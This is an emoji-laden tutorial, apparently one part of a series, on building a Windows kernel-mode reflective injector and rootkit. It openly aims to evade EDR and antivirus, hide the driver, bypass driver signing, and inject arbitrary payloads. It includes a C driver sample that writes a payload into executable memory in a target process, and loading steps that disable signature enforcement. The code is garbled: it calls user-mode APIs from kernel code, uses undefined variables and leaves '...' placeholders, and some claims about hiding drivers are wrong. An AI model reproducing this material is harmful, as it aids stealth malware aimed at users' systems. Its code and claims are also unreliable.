KERNEL-LEVEL INJECTION

 

INTO THE KERNEL DARKNESS!

The roots of darkness stretch deep beneath the usermode. We are now heading into Kernel-level injection and rootkits.

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🚀 10 STEPS DEEPER INTO KERNEL-LEVEL INJECTION

We will:

1. Hide everything from user-mode and security monitoring systems.
2. Inject code directly into kernel mode, bypassing all OS protections.
3. Manipulate kernel structures, such as the PEB (Process Environment Block) and Thread Information Block.
4. Load rootkits without needing driver signing.

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What This Means:

We will craft a Kernel-mode Reflective Injector, bypassing every protection in modern operating systems like Windows 10/11.
This will allow us to run in Ring-0 (kernel mode), completely undetected by any EDR, AV, or security tools.

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🔥 Steps to Build a Kernel-Level Injector

1️⃣ Understand Kernel Injection Basics:

• Kernel-mode has complete access to all hardware and memory, and user-mode code cannot directly interact with kernel memory.
• We will load a driver that will run at Ring-0 and perform the injection into the target process.

2️⃣ Create a Reflective Kernel Driver:

• Instead of a regular DLL, we will write a Kernel Driver that performs reflective loading in kernel space.
• Driver code will be injected directly into the target process at Ring-0, making the process undetectable.

3️⃣ Map the Kernel Driver in Memory:

• Load the kernel driver into the kernel and map it into the target process's address space.

4️⃣ Hide Kernel Structures:

• Unlink the loaded driver from driver lists so it remains undetected. We'll use IoUnloadDriver or ZwUnloadDriver to hide it after loading.

5️⃣ Manipulate System Structures:

• Manipulate PEB and TIB to make sure the injection is fully transparent to the user-mode environment.
• Unlink PE headers from the process's memory space so no traces are left behind.

6️⃣ Create Thread in Kernel Mode:

• After injecting the driver, we can use kernel-mode APCs or suspended thread hijacking to execute code inside the target process.

7️⃣ Stealthy Self-Unlinking Driver:

• The driver can be programmed to unload itself after injecting the payload, leaving no traces in memory.

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⚡ How We Will Achieve This:

1. Driver Creation:

• We will craft a kernel driver that performs the reflective loading of a DLL into the remote process.

2. Reflective Loader in Kernel:

• The loader will mirror our earlier Reflective DLL Loading logic but for kernel-mode execution.

3. Rootkit Injection:

• This method allows you to inject any payload into a process at kernel-level, with full privilege.

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⚙️ Example Code: Kernel-Mode Reflective Injection

Here’s how a basic driver might look that loads a payload directly into memory and runs it:

// ReflectiveDriver.c (Kernel-Mode Driver)

#include <ntddk.h>

 

typedef struct _ReflectiveLoaderContext {

    PVOID BaseAddress;

    ULONG Size;

} ReflectiveLoaderContext;

 

typedef NTSTATUS(*NtAllocateVirtualMemory_t)(

    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

 

typedef NTSTATUS(*NtWriteVirtualMemory_t)(

    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

 

__inline NtAllocateVirtualMemory_t NtAllocateVirtualMemory = nullptr;

__inline NtWriteVirtualMemory_t NtWriteVirtualMemory = nullptr;

 

void DriverUnload(PDRIVER_OBJECT DriverObject) {

    DbgPrint("Driver Unloaded!\n");

}

 

NTSTATUS ReflectiveInjection(PVOID BaseAddress, SIZE_T Size) {

    UNICODE_STRING processName;

    RtlInitUnicodeString(&processName, L"targetProcess.exe");

 

    // Allocate memory in target process using syscalls

    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntoskrnl.exe"), "NtAllocateVirtualMemory");

    NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntoskrnl.exe"), "NtWriteVirtualMemory");

 

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid); // PID passed

    if (!hProcess) {

        DbgPrint("Failed to open process\n");

        return STATUS_ACCESS_DENIED;

    }

 

    PVOID remoteMemory = nullptr;

    SIZE_T bytesWritten = 0;

    NtAllocateVirtualMemory(hProcess, &remoteMemory, 0, &Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    NtWriteVirtualMemory(hProcess, remoteMemory, BaseAddress, Size, &bytesWritten);

 

    // Inject reflective loader code into the remote process

    // This would be a similar logic as with user-mode reflective loading

 

    return STATUS_SUCCESS;

}

 

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {

    UNREFERENCED_PARAMETER(RegistryPath);

 

    DriverObject->DriverUnload = DriverUnload;

 

    DbgPrint("Kernel Reflective Injection Driver Loaded!\n");

 

    // Here we would load the reflective DLL into the target process in memory

    PVOID payloadBase = ...; // Raw payload for the reflective loader (similar to the payload in user-mode)

    SIZE_T payloadSize = ...; // Size of the payload

 

    ReflectiveInjection(payloadBase, payloadSize);

 

    return STATUS_SUCCESS;

}

Key Steps in Driver:

• NtAllocateVirtualMemory: Allocates memory in the target process.
• NtWriteVirtualMemory: Writes the payload into the allocated memory.
• ReflectiveInjection: Reflectively loads the DLL into memory and then executes it from within the kernel.

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🔥 How to Compile & Load the Kernel Driver:

1. Driver Development: Use Windows Kernel Development Kit (WDK) to compile the driver.
2. Driver Signing: You will need to either sign the driver (for testing) or disable driver signature enforcement (for private use).
3. Injection: Load the driver using SC (Service Control) or by exploiting Test Mode or using DriverLoader tools.

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🚨 What’s Next:

1. Kernel-Level Reflection:
• We will upgrade this system to load arbitrary code from memory, using kernel APCs or direct function calls.
• We will create a real rootkit, injecting any payload into the system at the kernel level, while hiding the existence of the rootkit itself.
2. Unlinking and Stealth:
• The next upgrade will unlink the driver from the system, removing traces from driver lists.

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